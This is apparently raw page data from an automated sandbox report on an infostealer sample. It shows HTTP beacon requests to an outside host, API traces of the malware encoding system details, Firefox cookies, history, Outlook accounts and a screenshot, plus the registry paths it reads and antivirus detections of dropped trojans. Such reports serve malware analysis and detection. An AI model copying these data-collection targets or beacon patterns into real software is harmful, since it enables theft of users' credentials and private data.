/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96 HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "9281ae978a071ea771795af8e05c647db" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96 HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "22f31df92d8b38e316a667d307eca743e" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96 HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "67e28dd83e0bf37a405fff1d7c27d7840" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "6abdd88be4b12eab517aa5c96bd86e89d" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "804e895a8bbc896c58e713bc90c94836b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "5281fc235a925ed3e03d6bd974a951290" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "70b614e96cc92be20ea778c255bbe258b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "90d3b4eec3233d1626a8ff811c5ec9798" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)"95:Tc2e,"288cccc47bbc1871b439df19ff4df68f076.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00003848) "288cccc47bbc1871b439df19ff4df68f076.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00003848)96:T321c,"nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "Network Info:- IP: IP?- Country: ISO?System Summary:- HWID: 2039C540C46F1350827015- O%WINDIR%\\7 Professional- Architecture: x32- UserName: %OSUSER%- Computer Name: DET-FEYNXIUAMWT- Local Time: 2024/1/15 12:48:10- UTC: 1- Language: en-US" "cbBinary": "2008" "dwFlags": "1073741825" "pcchString": "790a0000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "Network Info:- IP: IP?- Country: ISO?System Summary:- HWID: 2039C540C46F1350827015- O%WINDIR%\\7 Professional- Architecture: x32- UserName: %OSUSER%- Computer Name: DET-FEYNXIUAMWT- Local Time: 2024/1/15 12:48:10- UTC: 1- Language: en-US" "cbBinary": "2008" "dwFlags": "1073741825" "pszString": "Ck5ldHdvcmsgSW5mbzoKCS0gSVA6IElQPwoJLSBDb3VudHJ5OiBJU08/CgpTeXN0ZW0gU3VtbWFyeToKCS0gSFdJRDogMjAzOUM1NDBDNDZGMTM1MDgyNzAxNQoJLSBPUzogV2luZG93cyA3IFByb2Zlc3Npb25hbAoJLSBBcmNoaXRlY3R1cmU6IHgzMgoJLSBVc2VyTmFtZTogSEFQVUJXUwoJLSBDb21wdXRlciBOYW1lOiBERVQtRkVZTlhJVUFN" "pcchString": "780a0000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "system_info.txt" "cbBinary": "15" "dwFlags": "1073741825" "pcchString": "15000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "system_info.txt" "cbBinary": "15" "dwFlags": "1073741825" "pszString": "c3lzdGVtX2luZm8udHh0" "pcchString": "14000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": ".mozilla.orgTRUE/TRUE1692877291_gidGA1.2.1113188169.1692790891.mozilla.orgTRUE/TRUE1692790951_gat_UA-36116321-11.mozilla.orgTRUE/TRUE1755862891_gaGA1.1.1879431053.1692790891www.mozilla.orgTRUE/TRUE1692877291moz-stub-attribution-codec" "cbBinary": "734" "dwFlags": "1073741825" "pcchString": "d5030000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": ".mozilla.orgTRUE/TRUE1692877291_gidGA1.2.1113188169.1692790891.mozilla.orgTRUE/TRUE1692790951_gat_UA-36116321-11.mozilla.orgTRUE/TRUE1755862891_gaGA1.1.1879431053.1692790891www.mozilla.orgTRUE/TRUE1692877291moz-stub-attribution-codec" "cbBinary": "734" "dwFlags": "1073741825" "pszString": "Lm1vemlsbGEub3JnCVRSVUUJLwlUUlVFCTE2OTI4NzcyOTEJX2dpZAlHQTEuMi4xMTEzMTg4MTY5LjE2OTI3OTA4OTEKLm1vemlsbGEub3JnCVRSVUUJLwlUUlVFCTE2OTI3OTA5NTEJX2dhdF9VQS0zNjExNjMyMS0xCTEKLm1vemlsbGEub3JnCVRSVUUJLwlUUlVFCTE3NTU4NjI4OTEJX2dhCUdBMS4xLjE4Nzk0MzEwNTMuMTY5Mjc5MDg5MQp3" "pcchString": "d4030000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "cookies\\Mozilla Firefox_mj0wtyin.default-1692790883487.txt" "cbBinary": "58" "dwFlags": "1073741825" "pcchString": "51000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "cookies\\Mozilla Firefox_mj0wtyin.default-1692790883487.txt" "cbBinary": "58" "dwFlags": "1073741825" "pszString": "Y29va2llc1xNb3ppbGxhIEZpcmVmb3hfbWowd3R5aW4uZGVmYXVsdC0xNjkyNzkwODgzNDg3LnR4dA==" "pcchString": "50000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "https://www.mozilla.org/en-US/firefox/central/https://support.mozilla.org/en-US/products/firefoxhttps://www.mozilla.org/en-US/firefox/customize/https://www.mozilla.org/en-US/contribute/https://www.mozilla.org/en-US/about/place:sort=8&maxResults=10place:t" "cbBinary": "2130" "dwFlags": "1073741825" "pcchString": "190b0000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "https://www.mozilla.org/en-US/firefox/central/https://support.mozilla.org/en-US/products/firefoxhttps://www.mozilla.org/en-US/firefox/customize/https://www.mozilla.org/en-US/contribute/https://www.mozilla.org/en-US/about/place:sort=8&maxResults=10place:t" "cbBinary": "2130" "dwFlags": "1073741825" "pszString": "aHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZW4tVVMvZmlyZWZveC9jZW50cmFsLwpodHRwczovL3N1cHBvcnQubW96aWxsYS5vcmcvZW4tVVMvcHJvZHVjdHMvZmlyZWZveApodHRwczovL3d3dy5tb3ppbGxhLm9yZy9lbi1VUy9maXJlZm94L2N1c3RvbWl6ZS8KaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZW4tVVMvY29udHJpYnV0ZS8KaHR0cHM6" "pcchString": "180b0000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "history\\Mozilla Firefox_mj0wtyin.default-1692790883487.txt" "cbBinary": "58" "dwFlags": "1073741825" "pcchString": "51000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "history\\Mozilla Firefox_mj0wtyin.default-1692790883487.txt" "cbBinary": "58" "dwFlags": "1073741825" "pszString": "aGlzdG9yeVxNb3ppbGxhIEZpcmVmb3hfbWowd3R5aW4uZGVmYXVsdC0xNjkyNzkwODgzNDg3LnR4dA==" "pcchString": "50000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "20171206-225712 main.cpp( 27) : main() start20171206-225712 DSVClientLog_Windows.cpp( 51) : O%WINDIR%\\7 build 7601 20171206-225712 WindowsUi.cpp( 101) : desktop folder: %USERPROFILE%\\Desktop\\20171206-225712 showDebugMessageDialog:20171206-225" "cbBinary": "9779" "dwFlags": "1073741825" "pcchString": "f1320000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "20171206-225712 main.cpp( 27) : main() start20171206-225712 DSVClientLog_Windows.cpp( 51) : O%WINDIR%\\7 build 7601 20171206-225712 WindowsUi.cpp( 101) : desktop folder: %USERPROFILE%\\Desktop\\20171206-225712 showDebugMessageDialog:20171206-225" "cbBinary": "9779" "dwFlags": "1073741825" "pszString": "MjAxNzEyMDYtMjI1NzEyICBtYWluLmNwcCggIDI3KSAgOiBtYWluKCkgc3RhcnQKMjAxNzEyMDYtMjI1NzEyICBEU1ZDbGllbnRMb2dfV2luZG93cy5jcHAoICA1MSkgIDogT1M6IFdpbmRvd3MgNyBidWlsZCA3NjAxIAoyMDE3MTIwNi0yMjU3MTIgIFdpbmRvd3NVaS5jcHAoIDEwMSkgIDogZGVza3RvcCBmb2xkZXI6IEM6XFVzZXJzXEhBUFVC" "pcchString": "f0320000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "files\\DOCS\\Amazon Downloader Logs\\Amazon_Downloader_Log_20171206-225712_1810e9e0-1a8d-457c-be3a-737de50dc6bb.txt" "cbBinary": "112" "dwFlags": "1073741825" "pcchString": "99000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "files\\DOCS\\Amazon Downloader Logs\\Amazon_Downloader_Log_20171206-225712_1810e9e0-1a8d-457c-be3a-737de50dc6bb.txt" "cbBinary": "112" "dwFlags": "1073741825" "pszString": "ZmlsZXNcRE9DU1xBbWF6b24gRG93bmxvYWRlciBMb2dzXEFtYXpvbl9Eb3dubG9hZGVyX0xvZ18yMDE3MTIwNi0yMjU3MTJfMTgxMGU5ZTAtMWE4ZC00NTdjLWJlM2EtNzM3ZGU1MGRjNmJiLnR4dA==" "pcchString": "98000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "clsid: Mini UID: Service UID: ???????????????????Service Name: CONTABMAPI Provider: Account Name: Outlook Address BookPreferences UID: ??????????clsid: Mini UID: Service UID: ???????????????????Service Name: MSUPST MSMAPI Provider: Account Name: Ou" "cbBinary": "311" "dwFlags": "1073741825" "pcchString": "a1010000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "clsid: Mini UID: Service UID: ???????????????????Service Name: CONTABMAPI Provider: Account Name: Outlook Address BookPreferences UID: ??????????clsid: Mini UID: Service UID: ???????????????????Service Name: MSUPST MSMAPI Provider: Account Name: Ou" "cbBinary": "311" "dwFlags": "1073741825" "pszString": "Y2xzaWQ6IApNaW5pIFVJRDogClNlcnZpY2UgVUlEOiA/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/ClNlcnZpY2UgTmFtZTogQ09OVEFCCk1BUEkgUHJvdmlkZXI6IApBY2NvdW50IE5hbWU6IE91dGxvb2sgQWRkcmVzcyBCb29rClByZWZlcmVuY2VzIFVJRDogPz8/Pz8/Pz8/PwpjbHNpZDogCk1pbmkgVUlEOiAKU2VydmljZSBVSUQ6ID8/Pz8/Pz8/Pz8/" "pcchString": "a0010000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "soft\\Outlook\\accounts.txt" "cbBinary": "25" "dwFlags": "1073741825" "pcchString": "25000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "soft\\Outlook\\accounts.txt" "cbBinary": "25" "dwFlags": "1073741825" "pszString": "c29mdFxPdXRsb29rXGFjY291bnRzLnR4dA==" "pcchString": "24000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "ffd8ffe000104a46494600010101006000600000ffdb004300080606070605080707070909080a0c140d0c0b0b0c1912130f141d1a1f1e1d1a1c1c20242e2720222c231c1c2837292c30313434341f27393d38323c2e333432ffdb0043010909090c0b0c180d0d1832211c213232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232ffc00011080320050003012200021101031101ffc4001f0000010501010101010100000000000000000102030405060708090a0bffc400b5100002010303020403050504040000017d01020300041105122131410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f0100030101010101010101010000000000000102030405060708090a0bffc400b51100020102040403040705040400010277000102031104052131061241510761711322328108144291a1b1c109233352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a535455565758595a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9eaf2f3f4f5f6f7f8f9faffda000c03010002110311003f00e7053a9053857a4792029d482ad4f368ba74368353bcb9826b98da55f2e0f3142862bcf39ec7b5351949f2c55df91518b96c414a2addb26897cea969e21b53239c2a4d13c649f4e4569b784f521feacdbca7d12619fd7144e1387c69af54d7e63e4918629c2b4dfc39ac47d74f99bfeb98dffcb35466825b790c53c4f1c83aaba9047e15174f60716b723a7520a75020a70a414e02801452d14a2900a29d8a414e02818b4b494e14000a75253852180a70a052d0014e140a70a06029d45148050296814b40c514a2814b4005385029c05218014a05005385000052d14ec5000052d14a0503014a052d14802940a5c5380a06262940a5029c05002629d8a29690094b8a5c52d00252d2e297140c4c52d2d2e280129714b8a5c5002629714b8a5a43129697140140094b8a5c52e2801314b8a5c52e2801b8a5c53a8a062628c53b14629009453b1462801b4b8a7628a006e28c53a8a004c518a5a5c5003714629d8a314009498a7628c5002628c52e28c5003714629d8a31400dc518a76292801b8a314ea2801b8a314ea31400ca29d8a314" "cbBinary": "68238" "dwFlags": "1073741825" "pcchString": "69630100"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "ffd8ffe000104a46494600010101006000600000ffdb004300080606070605080707070909080a0c140d0c0b0b0c1912130f141d1a1f1e1d1a1c1c20242e2720222c231c1c2837292c30313434341f27393d38323c2e333432ffdb0043010909090c0b0c180d0d1832211c213232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232ffc00011080320050003012200021101031101ffc4001f0000010501010101010100000000000000000102030405060708090a0bffc400b5100002010303020403050504040000017d01020300041105122131410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f0100030101010101010101010000000000000102030405060708090a0bffc400b51100020102040403040705040400010277000102031104052131061241510761711322328108144291a1b1c109233352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a535455565758595a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9eaf2f3f4f5f6f7f8f9faffda000c03010002110311003f00e7053a9053857a4792029d482ad4f368ba74368353bcb9826b98da55f2e0f3142862bcf39ec7b5351949f2c55df91518b96c414a2addb26897cea969e21b53239c2a4d13c649f4e4569b784f521feacdbca7d12619fd7144e1387c69af54d7e63e4918629c2b4dfc39ac47d74f99bfeb98dffcb35466825b790c53c4f1c83aaba9047e15174f60716b723a7520a75020a70a414e02801452d14a2900a29d8a414e02818b4b494e14000a75253852180a70a052d0014e140a70a06029d45148050296814b40c514a2814b4005385029c05218014a05005385000052d14ec5000052d14a0503014a052d14802940a5c5380a06262940a5029c05002629d8a29690094b8a5c52d00252d2e297140c4c52d2d2e280129714b8a5c5002629714b8a5a43129697140140094b8a5c52e2801314b8a5c52e2801b8a5c53a8a062628c53b14629009453b1462801b4b8a7628a006e28c53a8a004c518a5a5c5003714629d8a314009498a7628c5002628c52e28c5003714629d8a31400dc518a76292801b8a314ea2801b8a314ea31400ca29d8a314" "cbBinary": "68238" "dwFlags": "1073741825" "pszString": "/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAMgBQADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAA" "pcchString": "68630100"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "screenshot.jpg" "cbBinary": "14" "dwFlags": "1073741825" "pcchString": "15000000"} "nsbEF5F.tmp" called "CryptBinaryToStringA" with parameters {"pbBinary": "screenshot.jpg" "cbBinary": "14" "dwFlags": "1073741825" "pszString": "c2NyZWVuc2hvdC5qcGc=" "pcchString": "14000000"}97:T444,34/69 Antivirus vendors marked spawned process "InstallSetup9.exe" (PID: 2956) as malicious (classified as "Gen:Variant.Nemesis" with 49% detection rate) 34/69 Antivirus vendors marked spawned process "288c47bbc1871b439df19ff4df68f076.exe" (PID: 3428) as malicious (classified as "Gen:Variant.Jaik" with 49% detection rate) 27/69 Antivirus vendors marked spawned process "BroomSetup.exe" (PID: 564) as malicious (classified as "Dropper.Agent" with 39% detection rate) 33/69 Antivirus vendors marked spawned process "tuc4.exe" (PID: 2384) as malicious (classified as "Trojan.Ekstak" with 47% detection rate) 34/69 Antivirus vendors marked spawned process "288c47bbc1871b439df19ff4df68f076.exe" (PID: 3440) as malicious (classified as "Gen:Variant.Jaik" with 49% detection rate) 35/68 Antivirus vendors marked spawned process "aviformattertool.exe" (PID: 2764) as malicious (classified as "Gen:Variant.Babar" with 51% detection rate) 35/68 Antivirus vendors marked spawned process "aviformattertool.exe" (PID: 2676) as malicious (classified as "Gen:Variant.Babar" with 51% detection rate)98:Tc82,"nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "nsbEF5F.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "nsbEF5F.tmp" (Path: "HKCU\OFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000001") "nsbEF5F.tmp" (Path: "HKCU\OFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000002") "nsbEF5F.tmp" (Path: "HKCU\OFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000003") "nsbEF5F.tmp" (Path: "HKCU\OFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000004")18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"schema_version":"1.0.15","sha256":"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790331179018,"unified_at":"2026-09-25T10:12:59.018Z","metadata":{"hashes":{"sha256":"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb","sha1":"0bcd902e5169eb5284ef5c5bb9d37ecb9de097dd","md5":"ef7704c3cd87d6be2579297e1d77279a","sha512":"3015827fa4432c96a66e4d25c13dc1fe0b17de2f07537949e412b860ebd887351b31b67b752c6b32ae3c0d8c5c66eee7438bd2e495189c3e5896c58aac4406f6","ssdeep":"196608:uPbBm8jTxaJE9oi+vEIEFe1odEhjDSnIwXN5zzCKvZoHXQ1GHwZGOVCDzKt7NE2C:uP9m4F+E9/+vE9Fe1Ue3w3C0ZCA1GQTz","ssdeep_chunks":["196608:uPbBm8j","196608:PbBm8jT","196608:bBm8jTx","196608:Bm8jTxa","196608:m8jTxaJ","196608:8jTxaJE","196608:jTxaJE9","196608: